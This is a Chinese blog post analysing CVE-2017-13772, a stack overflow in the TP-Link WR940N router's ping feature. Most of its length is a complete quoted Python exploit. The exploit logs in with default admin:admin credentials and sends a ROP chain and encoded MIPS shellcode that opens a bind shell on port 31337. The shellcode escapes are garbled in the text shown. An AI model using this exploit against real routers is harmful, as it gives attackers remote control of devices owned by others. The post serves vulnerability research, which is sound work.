• 一步一步pwn路由器之wr940栈溢出漏洞分析与利用


    前言


    本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


    这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772

    固件链接:http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip

    之前使用 firmadyn 可以正常模拟运行,但是调试不了,就没有仔细看这个漏洞。今天突然想起 他会启动一个 ssh 服务,那我们是不是就可以通过ssh 连上去进行调试,正想试试,又不能正常模拟了。。。。。下面看具体漏洞。

    正文

    漏洞位与 管理员用来 ping 的功能,程序在获取ip 地址时没有验证长度,然后复制到栈上,造成栈溢出。搜索关键字符串 ping_addr 定位到函数 sub_453C50

    获取 ip 地址后,把字符串指针放到 $s6寄存器,跟下去看看。

    传入了ipAddrDispose函数,继续分析之:

    先调用了 memset  初始化缓冲区,然后调用 strcpyip 地址复制到栈上,溢出。

    利用的话和前文是一样的,经典的栈溢出,经典的 rop。

    一步一步pwn路由器之rop技术实战

    一步一步pwn路由器之路由器环境修复&&rop技术分析

    附上参考链接里的 exp

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import urllib2
    import base64
    import hashlib
    from optparse import *
    import sys
    import urllib
    
    banner = (
    "___________________________________________________________________________
    "
    "WR940N Authenticated Remote Code Exploit
    "
    "This exploit will open a bind shell on the remote target
    "
    "The port is 31337, you can change that in the code if you wish
    "
    "This exploit requires authentication, if you know the creds, then
    "
    "use the -u -p options, otherwise default is admin:admin
    "
    "___________________________________________________________________________"
    )
    
    def login(ip, user, pwd):
    	print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
    	#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
    	hash = hashlib.md5()
    	hash.update(pwd)
    	auth_string = "%s:%s" %(user, hash.hexdigest())
    	encoded_string = base64.b64encode(auth_string)
    
    	print "[+] Encoded authorisation: %s" %encoded_string#### Send the request
    	url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
    	print "[+] sending login to " + url
    	req = urllib2.Request(url)
    	req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
    	resp = urllib2.urlopen(req)
    	#### The server generates a random path for further requests, grab that here
    	data = resp.read()
    	next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
    	print "[+] Got random path for next stage, url is now %s" %next_url
    	return (next_url, encoded_string)
    
    #custom bind shell shellcode with very simple xor encoder
    #followed by a sleep syscall to flush cash before running
    #bad chars = 0x20, 0x00
    shellcode = (
    #encoder
    "x22x51x44x44x3cx11x99x99x36x31x99x99"
    "x27xb2x05x4b" #0x27b2059f for first_exploit
    "x22x52xfcxa0x8ex4axfexf9"
    "x02x2ax18x26xaex43xfexf9x8ex4axffx41"
    "x02x2ax18x26xaex43xffx41x8ex4axffx5d"
    "x02x2ax18x26xaex43xffx5dx8ex4axffx71"
    "x02x2ax18x26xaex43xffx71x8ex4axffx8d"
    "x02x2ax18x26xaex43xffx8dx8ex4axffx99"
    "x02x2ax18x26xaex43xffx99x8ex4axffxa5"
    "x02x2ax18x26xaex43xffxa5x8ex4axffxad"
    "x02x2ax18x26xaex43xffxadx8ex4axffxb9"
    "x02x2ax18x26xaex43xffxb9x8ex4axffxc1"
    "x02x2ax18x26xaex43xffxc1"
    
    #sleep
    "x24x12xffxffx24x02x10x46x24x0fx03x08"
    "x21xefxfcxfcxafxafxfbxfexafxafxfbxfa"
    "x27xa4xfbxfax01x01x01x0cx21x8cx11x5c"
    
    ################ encoded shellcode ###############
    "x27xbdxffxe0x24x0exffxfdx98x59xb9xbex01xc0x28x27x28x06"
    "xffxffx24x02x10x57x01x01x01x0cx23x39x44x44x30x50xffxff"
    "x24x0exffxefx01xc0x70x27x24x0d"
    "x7ax69"            #<————————- PORT 0x7a69 (31337)
    "x24x0fxfdxffx01xe0x78x27x01xcfx78x04x01xafx68x25xafxad"
    "xffxe0xafxa0xffxe4xafxa0xffxe8xafxa0xffxecx9bx89xb9xbc"
    "x24x0exffxefx01xc0x30x27x23xa5xffxe0x24x02x10x49x01x01"
    "x01x0cx24x0fx73x50"
    "x9bx89xb9xbcx24x05x01x01x24x02x10x4ex01x01x01x0cx24x0f"
    "x73x50x9bx89xb9xbcx28x05xffxffx28x06xffxffx24x02x10x48"
    "x01x01x01x0cx24x0fx73x50x30x50xffxffx9bx89xb9xbcx24x0f"
    "xffxfdx01xe0x28x27xbdx9bx96x46x01x01x01x0cx24x0fx73x50"
    "x9bx89xb9xbcx28x05x01x01xbdx9bx96x46x01x01x01x0cx24x0f"
    "x73x50x9bx89xb9xbcx28x05xffxffxbdx9bx96x46x01x01x01x0c"
    "x3cx0fx2fx2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce"
    "x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxafxa4xffxf8"
    "xafxa0xffxfcx27xa5xffxf8x24x02x0fxabx01x01x01x0cx24x02"
    "x10x46x24x0fx03x68x21xefxfcxfcxafxafxfbxfexafxafxfbxfa"
    "x27xa4xfbxfex01x01x01x0cx21x8cx11x5c"
    )
    
    ###### useful gadgets #######
    nop = "x22x51x44x44"
    gadg_1 = "x2AxB3x7Cx60"  # set $a0 = 1, and jmp $s1
    gadg_2 = "x2AxB1x78x40"
    sleep_addr = "x2axb3x50x90"
    stack_gadg = "x2AxAFx84xC0"
    call_code = "x2AxB2xDCxF0"
    
    def first_exploit(url, auth):
    	#          trash $s1        $ra
    	rop = "A"*164 + gadg_2  + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
    	rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
    
    	params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
    
    	new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
    
    	print "[+] sending exploit…"
    	print "[+] Wait a couple of seconds before connecting"
    	print "[+] When you are finished do http -r to reset the http service"
    
    	req = urllib2.Request(new_url)
    	req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    	req.add_header('Referer', url + "DiagnosticRpm.htm")
    
    	resp = urllib2.urlopen(req)
    
    def second_exploit(url, auth):
    	url = url + "WanStaticIpV6CfgRpm.htm?"
    	#                 trash      s0      s1      s2       s3     s4      ret     shellcode
    	payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
    	payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
    	payload += stack_gadg + "A"*4 +  nop*10 + shellcode + "B"*7
    	print len(payload)
    
    	params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
    	'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
    	'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
    	'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
    
    	new_url = url + urllib.urlencode(params)
    
    	print "[+] sending exploit…"
    	print "[+] Wait a couple of seconds before connecting"
    	print "[+] When you are finished do http -r to reset the http service"
    
    	req = urllib2.Request(new_url)
    	req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    	req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
    
    	resp = urllib2.urlopen(req)
    
    if __name__ == '__main__':
    	print banner
    	username = "admin"
    	password = "admin"
    
    	(next_url, encoded_string) = login("192.168.0.1", username, password)
    
    	###### Both exploits result in the same bind shell ######
    	#first_exploit(data[0], data[1])
    	first_exploit(next_url, encoded_string)
    
    
    

    参考链接:

    https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/

  • 相关阅读:
    第一册:lesson forty five。
    第一册:lesson forty three。
    马化腾2015港大演讲。
    Swing实现文件选择(目录选择)附导出
    SVN强制注释
    Websphere内存溢出的日志
    sql server2008 搭建链接服务器成功后查询时报Cannot obtain the schema rowset "DBSCHEMA_TABLES_INFO" for OLE DB provider "SQLNCLI10" for linked server "XXXXX". 的解决方法
    UML图例
    jSP的3种方式实现radio ,checkBox,select的默认选择值。
    通过js子页面回写父页面,改变父页面控件的值
  • 原文地址:https://www.cnblogs.com/hac425/p/9416744.html
Copyright © 2020-2023  润新知